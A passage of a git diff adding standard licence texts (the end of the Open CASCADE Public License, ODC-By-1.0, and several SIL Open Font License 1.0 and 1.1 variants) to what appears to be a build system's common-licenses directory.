+OPEN CASCADE is a French société par actions simplifiée having its registered head office at 1, place des Frères Montgolfier, 78280, Guyancourt, France and main offices at 1, place des Frères Montgolfier, 78280, Guyancourt, France. Its web site is located at the following address opencascade.com
+
+Open CASCADE Technology Public License
+Schedule "A"
+
+ The content of this file is subject to the Open CASCADE Technology Public License (the "License"). You may not use the content of this file except in compliance with the License. Please obtain a copy of the License at opencascade.com and read it completely before using this file.
+
+ The Initial Developer of the Original Code is OPEN CASCADE, with main offices at 1, place des Frères Montgolfier, 78280, Guyancourt, France. The Original Code is copyright © OPEN CASCADE SAS, 2001. All rights reserved. "The Original Code and all software distributed under the License are distributed on an "AS IS" basis, without warranty of any kind, and the Initial Developer hereby disclaims all such warranties, including without limitation, any warranties of merchantability, fitness for a particular purpose or non-infringement.
+
+ Please see the License for the specific terms and conditions governing rights and limitations under the License".
+ End of Schedule "A"
+
+Open CASCADE Technology Public License
+Schedule "B"
+
+ "The content of this file is subject to the Open CASCADE Technology Public License (the "License"). You may not use the content of this file except in compliance with the License. Please obtain a copy of the License at opencascade.com and read it completely before using this file.
+
+ The Initial Developer of the Original Code is OPEN CASCADE, with main offices at 1, place des Frères Montgolfier, 78280, Guyancourt, France. The Original Code is copyright © Open CASCADE SAS, 2001. All rights reserved.
+
+ Modifications to the Original Code have been made by ________________________. Modifications are copyright © [Year to be included]. All rights reserved.
+
+ The software Open CASCADE Technology and all software distributed under the License are distributed on an "AS IS" basis, without warranty of any kind, and the Initial Developer hereby disclaims all such warranties, including without limitation, any warranties of merchantability, fitness for a particular purpose or non-infringement.
+
+ Please see the License for the specific terms and conditions governing rights and limitations under the License"
+ End of Schedule "B"
diff --git a/meta/files/common-licenses/ODC-By-1.0 b/meta/files/common-licenses/ODC-By-1.0
new file mode 100644
index 0000000000..15115ca9ca
--- /dev/null
+++ b/meta/files/common-licenses/ODC-By-1.0
@@ -0,0 +1,195 @@
+# ODC Attribution License (ODC-By)
+
+### Preamble
+
+The Open Data Commons Attribution License is a license agreement intended to allow users to freely share, modify, and use this Database subject only to the attribution requirements set out in Section 4.
+
+Databases can contain a wide variety of types of content (images, audiovisual material, and sounds all in the same database, for example), and so this license only governs the rights over the Database, and not the contents of the Database individually. Licensors may therefore wish to use this license together with another license for the contents.
+
+Sometimes the contents of a database, or the database itself, can be covered by other rights not addressed here (such as private contracts, trademark over the name, or privacy rights / data protection rights over information in the contents), and so you are advised that you may have to consult other documents or clear other rights before doing activities not covered by this License.
+
+------
+
+The Licensor (as defined below)
+
+and
+
+You (as defined below)
+
+agree as follows:
+
+### 1.0 Definitions of Capitalised Words
+
+"Collective Database" – Means this Database in unmodified form as part of a collection of independent databases in themselves that together are assembled into a collective whole. A work that constitutes a Collective Database will not be considered a Derivative Database.
+
+"Convey" – As a verb, means Using the Database, a Derivative Database, or the Database as part of a Collective Database in any way that enables a Person to make or receive copies of the Database or a Derivative Database. Conveying does not include interaction with a user through a computer network, or creating and Using a Produced Work, where no transfer of a copy of the Database or a Derivative Database occurs.
+
+"Contents" – The contents of this Database, which includes the information, independent works, or other material collected into the Database. For example, the contents of the Database could be factual data or works such as images, audiovisual material, text, or sounds.
+
+"Database" – A collection of material (the Contents) arranged in a systematic or methodical way and individually accessible by electronic or other means offered under the terms of this License.
+
+"Database Directive" – Means Directive 96/9/EC of the European Parliament and of the Council of 11 March 1996 on the legal protection of databases, as amended or succeeded.
+
+"Database Right" – Means rights resulting from the Chapter III ("sui generis") rights in the Database Directive (as amended and as transposed by member states), which includes the Extraction and Re-utilisation of the whole or a Substantial part of the Contents, as well as any similar rights available in the relevant jurisdiction under Section 10.4.
+
+"Derivative Database" – Means a database based upon the Database, and includes any translation, adaptation, arrangement, modification, or any other alteration of the Database or of a Substantial part of the Contents. This includes, but is not limited to, Extracting or Re-utilising the whole or a Substantial part of the Contents in a new Database.
+
+"Extraction" – Means the permanent or temporary transfer of all or a Substantial part of the Contents to another medium by any means or in any form.
+
+"License" – Means this license agreement and is both a license of rights such as copyright and Database Rights and an agreement in contract.
+
+"Licensor" – Means the Person that offers the Database under the terms of this License.
+
+"Person" – Means a natural or legal person or a body of persons corporate or incorporate.
+
+"Produced Work" – a work (such as an image, audiovisual material, text, or sounds) resulting from using the whole or a Substantial part of the Contents (via a search or other query) from this Database, a Derivative Database, or this Database as part of a Collective Database.
+
+"Publicly" – means to Persons other than You or under Your control by either more than 50% ownership or by the power to direct their activities (such as contracting with an independent consultant).
+
+"Re-utilisation" – means any form of making available to the public all or a Substantial part of the Contents by the distribution of copies, by renting, by online or other forms of transmission.
+
+"Substantial" – Means substantial in terms of quantity or quality or a combination of both. The repeated and systematic Extraction or Re-utilisation of insubstantial parts of the Contents may amount to the Extraction or Re-utilisation of a Substantial part of the Contents.
+
+"Use" – As a verb, means doing any act that is restricted by copyright or Database Rights whether in the original medium or any other; and includes without limitation distributing, copying, publicly performing, publicly displaying, and preparing derivative works of the Database, as well as modifying the Database as may be technically necessary to use it in a different mode or format.
+
+"You" – Means a Person exercising rights under this License who has not previously violated the terms of this License with respect to the Database, or who has received express permission from the Licensor to exercise rights under this License despite a previous violation.
+
+Words in the singular include the plural and vice versa.
+
+### 2.0 What this License covers
+
+2.1. Legal effect of this document. This License is:
+
+ a. A license of applicable copyright and neighbouring rights;
+
+ b. A license of the Database Right; and
+
+ c. An agreement in contract between You and the Licensor.
+
+2.2 Legal rights covered. This License covers the legal rights in the Database, including:
+
+ a. Copyright. Any copyright or neighbouring rights in the Database. The copyright licensed includes any individual elements of the Database, but does not cover the copyright over the Contents independent of this Database. See Section 2.4 for details. Copyright law varies between jurisdictions, but is likely to cover: the Database model or schema, which is the structure, arrangement, and organisation of the Database, and can also include the Database tables and table indexes; the data entry and output sheets; and the Field names of Contents stored in the Database;
+
+ b. Database Rights. Database Rights only extend to the Extraction and Re-utilisation of the whole or a Substantial part of the Contents. Database Rights can apply even when there is no copyright over the Database. Database Rights can also apply when the Contents are removed from the Database and are selected and arranged in a way that would not infringe any applicable copyright; and
+
+ c. Contract. This is an agreement between You and the Licensor for access to the Database. In return you agree to certain conditions of use on this access as outlined in this License.
+
+2.3 Rights not covered.
+
+ a. This License does not apply to computer programs used in the making or operation of the Database;
+
+ b. This License does not cover any patents over the Contents or the Database; and
+
+ c. This License does not cover any trademarks associated with the Database.
+
+2.4 Relationship to Contents in the Database. The individual items of the Contents contained in this Database may be covered by other rights, including copyright, patent, data protection, privacy, or personality rights, and this License does not cover any rights (other than Database Rights or in contract) in individual Contents contained in the Database. For example, if used on a Database of images (the Contents), this License would not apply to copyright over individual images, which could have their own separate licenses, or one single license covering all of the rights over the images.
+
+### 3.0 Rights granted
+
+3.1 Subject to the terms and conditions of this License, the Licensor grants to You a worldwide, royalty-free, non-exclusive, terminable (but only under Section 9) license to Use the Database for the duration of any applicable copyright and Database Rights. These rights explicitly include commercial use, and do not exclude any field of endeavour. To the extent possible in the relevant jurisdiction, these rights may be exercised in all media and formats whether now known or created in the future.
+
+The rights granted cover, for example:
+
+ a. Extraction and Re-utilisation of the whole or a Substantial part of the Contents;
+
+ b. Creation of Derivative Databases;
+
+ c. Creation of Collective Databases;
+
+ d. Creation of temporary or permanent reproductions by any means and in any form, in whole or in part, including of any Derivative Databases or as a part of Collective Databases; and
+
+ e. Distribution, communication, display, lending, making available, or performance to the public by any means and in any form, in whole or in part, including of any Derivative Database or as a part of Collective Databases.
+
+3.2 Compulsory license schemes. For the avoidance of doubt:
+
+ a. Non-waivable compulsory license schemes. In those jurisdictions in which the right to collect royalties through any statutory or compulsory licensing scheme cannot be waived, the Licensor reserves the exclusive right to collect such royalties for any exercise by You of the rights granted under this License;
+
+ b. Waivable compulsory license schemes. In those jurisdictions in which the right to collect royalties through any statutory or compulsory licensing scheme can be waived, the Licensor waives the exclusive right to collect such royalties for any exercise by You of the rights granted under this License; and,
+
+ c. Voluntary license schemes. The Licensor waives the right to collect royalties, whether individually or, in the event that the Licensor is a member of a collecting society that administers voluntary licensing schemes, via that society, from any exercise by You of the rights granted under this License.
+
+3.3 The right to release the Database under different terms, or to stop distributing or making available the Database, is reserved. Note that this Database may be multiple-licensed, and so You may have the choice of using alternative licenses for this Database. Subject to Section 10.4, all other rights not expressly granted by Licensor are reserved.
+
+### 4.0 Conditions of Use
+
+4.1 The rights granted in Section 3 above are expressly made subject to Your complying with the following conditions of use. These are important conditions of this License, and if You fail to follow them, You will be in material breach of its terms.
+
+4.2 Notices. If You Publicly Convey this Database, any Derivative Database, or the Database as part of a Collective Database, then You must:
+
+ a. Do so only under the terms of this License;
+
+ b. Include a copy of this License or its Uniform Resource Identifier (URI) with the Database or Derivative Database, including both in the Database or Derivative Database and in any relevant documentation;
+
+ c. Keep intact any copyright or Database Right notices and notices that refer to this License; and
+
+ d. If it is not possible to put the required notices in a particular file due to its structure, then You must include the notices in a location (such as a relevant directory) where users would be likely to look for it.
+
+4.3 Notice for using output (Contents). Creating and Using a Produced Work does not require the notice in Section 4.2. However, if you Publicly Use a Produced Work, You must include a notice associated with the Produced Work reasonably calculated to make any Person that uses, views, accesses, interacts with, or is otherwise exposed to the Produced Work aware that Content was obtained from the Database, Derivative Database, or the Database as part of a Collective Database, and that it is available under this License.
+
+ a. Example notice. The following text will satisfy notice under Section 4.3:
+
+ Contains information from DATABASE NAME which is made available under the ODC Attribution License.
+
+DATABASE NAME should be replaced with the name of the Database and a hyperlink to the location of the Database. "ODC Attribution License" should contain a hyperlink to the URI of the text of this License. If hyperlinks are not possible, You should include the plain text of the required URI's with the above notice.
+
+4.4 Licensing of others. You may not sublicense the Database. Each time You communicate the Database, the whole or Substantial part of the Contents, or any Derivative Database to anyone else in any way, the Licensor offers to the recipient a license to the Database on the same terms and conditions as this License. You are not responsible for enforcing compliance by third parties with this License, but You may enforce any rights that You have over a Derivative Database. You are solely responsible for any modifications of a Derivative Database made by You or another Person at Your direction. You may not impose any further restrictions on the exercise of the rights granted or affirmed under this License.
+
+### 5.0 Moral rights
+
+5.1 Moral rights. This section covers moral rights, including any rights to be identified as the author of the Database or to object to treatment that would otherwise prejudice the author's honour and reputation, or any other derogatory treatment:
+
+ a. For jurisdictions allowing waiver of moral rights, Licensor waives all moral rights that Licensor may have in the Database to the fullest extent possible by the law of the relevant jurisdiction under Section 10.4;
+
+ b. If waiver of moral rights under Section 5.1 a in the relevant jurisdiction is not possible, Licensor agrees not to assert any moral rights over the Database and waives all claims in moral rights to the fullest extent possible by the law of the relevant jurisdiction under Section 10.4; and
+
+ c. For jurisdictions not allowing waiver or an agreement not to assert moral rights under Section 5.1 a and b, the author may retain their moral rights over certain aspects of the Database.
+
+Please note that some jurisdictions do not allow for the waiver of moral rights, and so moral rights may still subsist over the Database in some jurisdictions.
+
+### 6.0 Fair dealing, Database exceptions, and other rights not affected
+
+6.1 This License does not affect any rights that You or anyone else may independently have under any applicable law to make any use of this Database, including without limitation:
+
+ a. Exceptions to the Database Right including: Extraction of Contents from non-electronic Databases for private purposes, Extraction for purposes of illustration for teaching or scientific research, and Extraction or Re-utilisation for public security or an administrative or judicial procedure.
+
+ b. Fair dealing, fair use, or any other legally recognised limitation or exception to infringement of copyright or other applicable laws.
+
+6.2 This License does not affect any rights of lawful users to Extract and Re-utilise insubstantial parts of the Contents, evaluated quantitatively or qualitatively, for any purposes whatsoever, including creating a Derivative Database (subject to other rights over the Contents, see Section 2.4). The repeated and systematic Extraction or Re-utilisation of insubstantial parts of the Contents may however amount to the Extraction or Re-utilisation of a Substantial part of the Contents.
+
+### 7.0 Warranties and Disclaimer
+
+7.1 The Database is licensed by the Licensor "as is" and without any warranty of any kind, either express, implied, or arising by statute, custom, course of dealing, or trade usage. Licensor specifically disclaims any and all implied warranties or conditions of title, non-infringement, accuracy or completeness, the presence or absence of errors, fitness for a particular purpose, merchantability, or otherwise. Some jurisdictions do not allow the exclusion of implied warranties, so this exclusion may not apply to You.
+
+### 8.0 Limitation of liability
+
+8.1 Subject to any liability that may not be excluded or limited by law, the Licensor is not liable for, and expressly excludes, all liability for loss or damage however and whenever caused to anyone by any use under this License, whether by You or by anyone else, and whether caused by any fault on the part of the Licensor or not. This exclusion of liability includes, but is not limited to, any special, incidental, consequential, punitive, or exemplary damages such as loss of revenue, data, anticipated profits, and lost business. This exclusion applies even if the Licensor has been advised of the possibility of such damages.
+
+8.2 If liability may not be excluded by law, it is limited to actual and direct financial loss to the extent it is caused by proved negligence on the part of the Licensor.
+
+### 9.0 Termination of Your rights under this License
+
+9.1 Any breach by You of the terms and conditions of this License automatically terminates this License with immediate effect and without notice to You. For the avoidance of doubt, Persons who have received the Database, the whole or a Substantial part of the Contents, Derivative Databases, or the Database as part of a Collective Database from You under this License will not have their licenses terminated provided their use is in full compliance with this License or a license granted under Section 4.8 of this License. Sections 1, 2, 7, 8, 9 and 10 will survive any termination of this License.
+
+9.2 If You are not in breach of the terms of this License, the Licensor will not terminate Your rights under it.
+
+9.3 Unless terminated under Section 9.1, this License is granted to You for the duration of applicable rights in the Database.
+
+9.4 Reinstatement of rights. If you cease any breach of the terms and conditions of this License, then your full rights under this License will be reinstated:
+
+ a. Provisionally and subject to permanent termination until the 60th day after cessation of breach;
+
+ b. Permanently on the 60th day after cessation of breach unless otherwise reasonably notified by the Licensor; or
+
+ c. Permanently if reasonably notified by the Licensor of the violation, this is the first time You have received notice of violation of this License from the Licensor, and You cure the violation prior to 30 days after your receipt of the notice.
+
+9.5 Notwithstanding the above, Licensor reserves the right to release the Database under different license terms or to stop distributing or making available the Database. Releasing the Database under different license terms or stopping the distribution of the Database will not withdraw this License (or any other license that has been, or is required to be, granted under the terms of this License), and this License will continue in full force and effect unless terminated as stated above.
+
+### 10.0 General
+
+10.1 If any provision of this License is held to be invalid or unenforceable, that must not affect the validity or enforceability of the remainder of the terms and conditions of this License and each remaining provision of this License shall be valid and enforced to the fullest extent permitted by law.
+
+10.2 This License is the entire agreement between the parties with respect to the rights granted here over the Database. It replaces any earlier understandings, agreements or representations with respect to the Database.
+
+10.3 If You are in breach of the terms of this License, You will not be entitled to rely on the terms of this License or to complain of any breach by the Licensor.
+
+10.4 Choice of law. This License takes effect in and will be governed by the laws of the relevant jurisdiction in which the License terms are sought to be enforced. If the standard suite of rights granted under applicable copyright law and Database Rights in the relevant jurisdiction includes additional rights not granted under this License, these additional rights are granted in this License in order to meet the terms of this License.
diff --git a/meta/files/common-licenses/OFL-1.0 b/meta/files/common-licenses/OFL-1.0
new file mode 100644
index 0000000000..9673cd20f5
--- /dev/null
+++ b/meta/files/common-licenses/OFL-1.0
@@ -0,0 +1,49 @@
+SIL OPEN FONT LICENSE
+
+Version 1.0 - 22 November 2005
+
+PREAMBLE
+
+The goals of the Open Font License (OFL) are to stimulate worldwide development of cooperative font projects, to support the font creation efforts of academic and linguistic communities, and to provide an open framework in which fonts may be shared and improved in partnership with others.
+
+The OFL allows the licensed fonts to be used, studied, modified and redistributed freely as long as they are not sold by themselves. The fonts, including any derivative works, can be bundled, embedded, redistributed and sold with any software provided that the font names of derivative works are changed. The fonts and derivatives, however, cannot be released under any other type of license.
+
+DEFINITIONS
+
+"Font Software" refers to any and all of the following:
+
+ - font files
+ - data files
+ - source code
+ - build scripts
+ - documentation
+
+"Reserved Font Name" refers to the Font Software name as seen by users and any other names as specified after the copyright statement.
+
+"Standard Version" refers to the collection of Font Software components as distributed by the Copyright Holder.
+
+"Modified Version" refers to any derivative font software made by adding to, deleting, or substituting — in part or in whole -- any of the components of the Standard Version, by changing formats or by porting the Font Software to a new environment.
+
+"Author" refers to any designer, engineer, programmer, technical writer or other person who contributed to the Font Software.
+
+PERMISSION & CONDITIONS
+
+Permission is hereby granted, free of charge, to any person obtaining a copy of the Font Software, to use, study, copy, merge, embed, modify, redistribute, and sell modified and unmodified copies of the Font Software, subject to the following conditions:
+
+1) Neither the Font Software nor any of its individual components, in Standard or Modified Versions, may be sold by itself.
+
+2) Standard or Modified Versions of the Font Software may be bundled, redistributed and sold with any software, provided that each copy contains the above copyright notice and this license. These can be included either as stand-alone text files, human-readable headers or in the appropriate machine-readable metadata fields within text or binary files as long as those fields can be easily viewed by the user.
+
+3) No Modified Version of the Font Software may use the Reserved Font Name(s), in part or in whole, unless explicit written permission is granted by the Copyright Holder. This restriction applies to all references stored in the Font Software, such as the font menu name and other font description fields, which are used to differentiate the font from others.
+
+4) The name(s) of the Copyright Holder or the Author(s) of the Font Software shall not be used to promote, endorse or advertise any Modified Version, except to acknowledge the contribution(s) of the Copyright Holder and the Author(s) or with their explicit written permission.
+
+5) The Font Software, modified or unmodified, in part or in whole, must be distributed using this license, and may not be distributed under any other license.
+
+TERMINATION
+
+This license becomes null and void if any of the above conditions are not met.
+
+DISCLAIMER
+
+THE FONT SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO ANY WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT OF COPYRIGHT, PATENT, TRADEMARK, OR OTHER RIGHT. IN NO EVENT SHALL THE COPYRIGHT HOLDER BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, INCLUDING ANY GENERAL, SPECIAL, INDIRECT, INCIDENTAL, OR CONSEQUENTIAL DAMAGES, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF THE USE OR INABILITY TO USE THE FONT SOFTWARE OR FROM OTHER DEALINGS IN THE FONT SOFTWARE.
diff --git a/meta/files/common-licenses/OFL-1.0-RFN b/meta/files/common-licenses/OFL-1.0-RFN
new file mode 100644
index 0000000000..9673cd20f5
--- /dev/null
+++ b/meta/files/common-licenses/OFL-1.0-RFN
@@ -0,0 +1,49 @@
+SIL OPEN FONT LICENSE
+
+Version 1.0 - 22 November 2005
+
+PREAMBLE
+
+The goals of the Open Font License (OFL) are to stimulate worldwide development of cooperative font projects, to support the font creation efforts of academic and linguistic communities, and to provide an open framework in which fonts may be shared and improved in partnership with others.
+
+The OFL allows the licensed fonts to be used, studied, modified and redistributed freely as long as they are not sold by themselves. The fonts, including any derivative works, can be bundled, embedded, redistributed and sold with any software provided that the font names of derivative works are changed. The fonts and derivatives, however, cannot be released under any other type of license.
+
+DEFINITIONS
+
+"Font Software" refers to any and all of the following:
+
+ - font files
+ - data files
+ - source code
+ - build scripts
+ - documentation
+
+"Reserved Font Name" refers to the Font Software name as seen by users and any other names as specified after the copyright statement.
+
+"Standard Version" refers to the collection of Font Software components as distributed by the Copyright Holder.
+
+"Modified Version" refers to any derivative font software made by adding to, deleting, or substituting — in part or in whole -- any of the components of the Standard Version, by changing formats or by porting the Font Software to a new environment.
+
+"Author" refers to any designer, engineer, programmer, technical writer or other person who contributed to the Font Software.
+
+PERMISSION & CONDITIONS
+
+Permission is hereby granted, free of charge, to any person obtaining a copy of the Font Software, to use, study, copy, merge, embed, modify, redistribute, and sell modified and unmodified copies of the Font Software, subject to the following conditions:
+
+1) Neither the Font Software nor any of its individual components, in Standard or Modified Versions, may be sold by itself.
+
+2) Standard or Modified Versions of the Font Software may be bundled, redistributed and sold with any software, provided that each copy contains the above copyright notice and this license. These can be included either as stand-alone text files, human-readable headers or in the appropriate machine-readable metadata fields within text or binary files as long as those fields can be easily viewed by the user.
+
+3) No Modified Version of the Font Software may use the Reserved Font Name(s), in part or in whole, unless explicit written permission is granted by the Copyright Holder. This restriction applies to all references stored in the Font Software, such as the font menu name and other font description fields, which are used to differentiate the font from others.
+
+4) The name(s) of the Copyright Holder or the Author(s) of the Font Software shall not be used to promote, endorse or advertise any Modified Version, except to acknowledge the contribution(s) of the Copyright Holder and the Author(s) or with their explicit written permission.
+
+5) The Font Software, modified or unmodified, in part or in whole, must be distributed using this license, and may not be distributed under any other license.
+
+TERMINATION
+
+This license becomes null and void if any of the above conditions are not met.
+
+DISCLAIMER
+
+THE FONT SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO ANY WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT OF COPYRIGHT, PATENT, TRADEMARK, OR OTHER RIGHT. IN NO EVENT SHALL THE COPYRIGHT HOLDER BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, INCLUDING ANY GENERAL, SPECIAL, INDIRECT, INCIDENTAL, OR CONSEQUENTIAL DAMAGES, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF THE USE OR INABILITY TO USE THE FONT SOFTWARE OR FROM OTHER DEALINGS IN THE FONT SOFTWARE.
diff --git a/meta/files/common-licenses/OFL-1.0-no-RFN b/meta/files/common-licenses/OFL-1.0-no-RFN
new file mode 100644
index 0000000000..9673cd20f5
--- /dev/null
+++ b/meta/files/common-licenses/OFL-1.0-no-RFN
@@ -0,0 +1,49 @@
+SIL OPEN FONT LICENSE
+
+Version 1.0 - 22 November 2005
+
+PREAMBLE
+
+The goals of the Open Font License (OFL) are to stimulate worldwide development of cooperative font projects, to support the font creation efforts of academic and linguistic communities, and to provide an open framework in which fonts may be shared and improved in partnership with others.
+
+The OFL allows the licensed fonts to be used, studied, modified and redistributed freely as long as they are not sold by themselves. The fonts, including any derivative works, can be bundled, embedded, redistributed and sold with any software provided that the font names of derivative works are changed. The fonts and derivatives, however, cannot be released under any other type of license.
+
+DEFINITIONS
+
+"Font Software" refers to any and all of the following:
+
+ - font files
+ - data files
+ - source code
+ - build scripts
+ - documentation
+
+"Reserved Font Name" refers to the Font Software name as seen by users and any other names as specified after the copyright statement.
+
+"Standard Version" refers to the collection of Font Software components as distributed by the Copyright Holder.
+
+"Modified Version" refers to any derivative font software made by adding to, deleting, or substituting — in part or in whole -- any of the components of the Standard Version, by changing formats or by porting the Font Software to a new environment.
+
+"Author" refers to any designer, engineer, programmer, technical writer or other person who contributed to the Font Software.
+
+PERMISSION & CONDITIONS
+
+Permission is hereby granted, free of charge, to any person obtaining a copy of the Font Software, to use, study, copy, merge, embed, modify, redistribute, and sell modified and unmodified copies of the Font Software, subject to the following conditions:
+
+1) Neither the Font Software nor any of its individual components, in Standard or Modified Versions, may be sold by itself.
+
+2) Standard or Modified Versions of the Font Software may be bundled, redistributed and sold with any software, provided that each copy contains the above copyright notice and this license. These can be included either as stand-alone text files, human-readable headers or in the appropriate machine-readable metadata fields within text or binary files as long as those fields can be easily viewed by the user.
+
+3) No Modified Version of the Font Software may use the Reserved Font Name(s), in part or in whole, unless explicit written permission is granted by the Copyright Holder. This restriction applies to all references stored in the Font Software, such as the font menu name and other font description fields, which are used to differentiate the font from others.
+
+4) The name(s) of the Copyright Holder or the Author(s) of the Font Software shall not be used to promote, endorse or advertise any Modified Version, except to acknowledge the contribution(s) of the Copyright Holder and the Author(s) or with their explicit written permission.
+
+5) The Font Software, modified or unmodified, in part or in whole, must be distributed using this license, and may not be distributed under any other license.
+
+TERMINATION
+
+This license becomes null and void if any of the above conditions are not met.
+
+DISCLAIMER
+
+THE FONT SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO ANY WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT OF COPYRIGHT, PATENT, TRADEMARK, OR OTHER RIGHT. IN NO EVENT SHALL THE COPYRIGHT HOLDER BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, INCLUDING ANY GENERAL, SPECIAL, INDIRECT, INCIDENTAL, OR CONSEQUENTIAL DAMAGES, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF THE USE OR INABILITY TO USE THE FONT SOFTWARE OR FROM OTHER DEALINGS IN THE FONT SOFTWARE.
diff --git a/meta/files/common-licenses/OFL-1.1-RFN b/meta/files/common-licenses/OFL-1.1-RFN
new file mode 100644
index 0000000000..6fe84ee21e
--- /dev/null
+++ b/meta/files/common-licenses/OFL-1.1-RFN
@@ -0,0 +1,43 @@
+SIL OPEN FONT LICENSE
+
+Version 1.1 - 26 February 2007
+
+PREAMBLE
+
+The goals of the Open Font License (OFL) are to stimulate worldwide development of collaborative font projects, to support the font creation efforts of academic and linguistic communities, and to provide a free and open framework in which fonts may be shared and improved in partnership with others.
+
+The OFL allows the licensed fonts to be used, studied, modified and redistributed freely as long as they are not sold by themselves. The fonts, including any derivative works, can be bundled, embedded, redistributed and/or sold with any software provided that any reserved names are not used by derivative works. The fonts and derivatives, however, cannot be released under any other type of license. The requirement for fonts to remain under this license does not apply to any document created using the fonts or their derivatives.
+
+DEFINITIONS
+
+"Font Software" refers to the set of files released by the Copyright Holder(s) under this license and clearly marked as such. This may include source files, build scripts and documentation.
+
+"Reserved Font Name" refers to any names specified as such after the copyright statement(s).
+
+"Original Version" refers to the collection of Font Software components as distributed by the Copyright Holder(s).
+
+"Modified Version" refers to any derivative made by adding to, deleting, or substituting — in part or in whole — any of the components of the Original Version, by changing formats or by porting the Font Software to a new environment.
+
+"Author" refers to any designer, engineer, programmer, technical writer or other person who contributed to the Font Software.
+
+PERMISSION & CONDITIONS
+
+Permission is hereby granted, free of charge, to any person obtaining a copy of the Font Software, to use, study, copy, merge, embed, modify, redistribute, and sell modified and unmodified copies of the Font Software, subject to the following conditions:
+
+1) Neither the Font Software nor any of its individual components, in Original or Modified Versions, may be sold by itself.
+
+2) Original or Modified Versions of the Font Software may be bundled, redistributed and/or sold with any software, provided that each copy contains the above copyright notice and this license. These can be included either as stand-alone text files, human-readable headers or in the appropriate machine-readable metadata fields within text or binary files as long as those fields can be easily viewed by the user.
+
+3) No Modified Version of the Font Software may use the Reserved Font Name(s) unless explicit written permission is granted by the corresponding Copyright Holder. This restriction only applies to the primary font name as presented to the users.
+
+4) The name(s) of the Copyright Holder(s) or the Author(s) of the Font Software shall not be used to promote, endorse or advertise any Modified Version, except to acknowledge the contribution(s) of the Copyright Holder(s) and the Author(s) or with their explicit written permission.
+
+5) The Font Software, modified or unmodified, in part or in whole, must be distributed entirely under this license, and must not be distributed under any other license. The requirement for fonts to remain under this license does not apply to any document created using the Font Software.
+
+TERMINATION
+
+This license becomes null and void if any of the above conditions are not met.
+
+DISCLAIMER
+
+THE FONT SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO ANY WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT OF COPYRIGHT, PATENT, TRADEMARK, OR OTHER RIGHT. IN NO EVENT SHALL THE COPYRIGHT HOLDER BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, INCLUDING ANY GENERAL, SPECIAL, INDIRECT, INCIDENTAL, OR CONSEQUENTIAL DAMAGES, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF THE USE OR INABILITY TO USE THE FONT SOFTWARE OR FROM OTHER DEALINGS IN THE FONT SOFTWARE.
diff --git a/meta/files/common-licenses/OFL-1.1-no-RFN b/meta/files/common-licenses/OFL-1.1-no-RFN
new file mode 100644
index 0000000000..6fe84ee21e
--- /dev/null
+++ b/meta/files/common-licenses/OFL-1.1-no-RFN
@@ -0,0 +1,43 @@
+SIL OPEN FONT LICENSE
+
+Version 1.1 - 26 February 2007
+
+PREAMBLE
+
+The goals of the Open Font License (OFL) are to stimulate worldwide development of collaborative font projects, to support the font creation efforts of academic and linguistic communities, and to provide a free and open framework in which fonts may be shared and improved in partnership with others.
+
+The OFL allows the licensed fonts to be used, studied, modified and redistributed freely as long as they are not sold by themselves. The fonts, including any derivative works, can be bundled, embedded, redistributed and/or sold with any software provided that any reserved names are not used by derivative works. The fonts and derivatives, however, cannot be released under any other type of license. The requirement for fonts to remain under this license does not apply to any document created using the fonts or their derivatives.
+
+DEFINITIONS
+
+"Font Software" refers to the set of files released by the Copyright Holder(s) under this license and clearly marked as such. This may include source files, build scripts and documentation.
+
+"Reserved Font Name" refers to any names specified as such after the copyright statement(s).
+
+"Original Version" refers to the collection of Font Software components as distributed by the Copyright Holder(s).
+
+"Modified Version" refers to any derivative made by adding to, deleting, or substituting — in part or in whole — any of the components of the Original Version, by changing formats or by porting the Font Software to a new environment.
+
+"Author" refers to any designer, engineer, programmer, technical writer or other person who contributed to the Font Software.
+
+PERMISSION & CONDITIONS
+
+Permission is hereby granted, free of charge, to any person obtaining a copy of the Font Software, to use, study, copy, merge, embed, modify, redistribute, and sell modified and unmodified copies of the Font Software, subject to the following conditions:
+
+1) Neither the Font Software nor any of its individual components, in Original or Modified Versions, may be sold by itself.
+
+2) Original or Modified Versions of the Font Software may be bundled, redistributed and/or sold with any software, provided that each copy contains the above copyright notice and this license. These can be included either as stand-alone text files, human-readable headers or in the appropriate machine-readable metadata fields within text or binary files as long as those fields can be easily viewed by the user.
+
+3) No Modified Version of the Font Software may use the Reserved Font Name(s) unless explicit written permission is granted by the corresponding Copyright Holder. This restriction only applies to the primary font name as presented to the users.
+
+4) The name(s) of the Copyright Holder(s) or the Author(s) of the Font Software shall not be used to promote, endorse or advertise any Modified Version, except to acknowledge the contribution(s) of the Copyright Holder(s) and the Author(s) or with their explicit written permission.
+
+5) The Font Software, modified or unmodified, in part or in whole, must be distributed entirely under this license, and must not be distributed under any other license. The requirement for fonts to remain under this license does not apply to any document created using the Font Software.
+
+TERMINATION
+
+This license becomes null and void if any of the above conditions are not met.
+
+DISCLAIMER
+
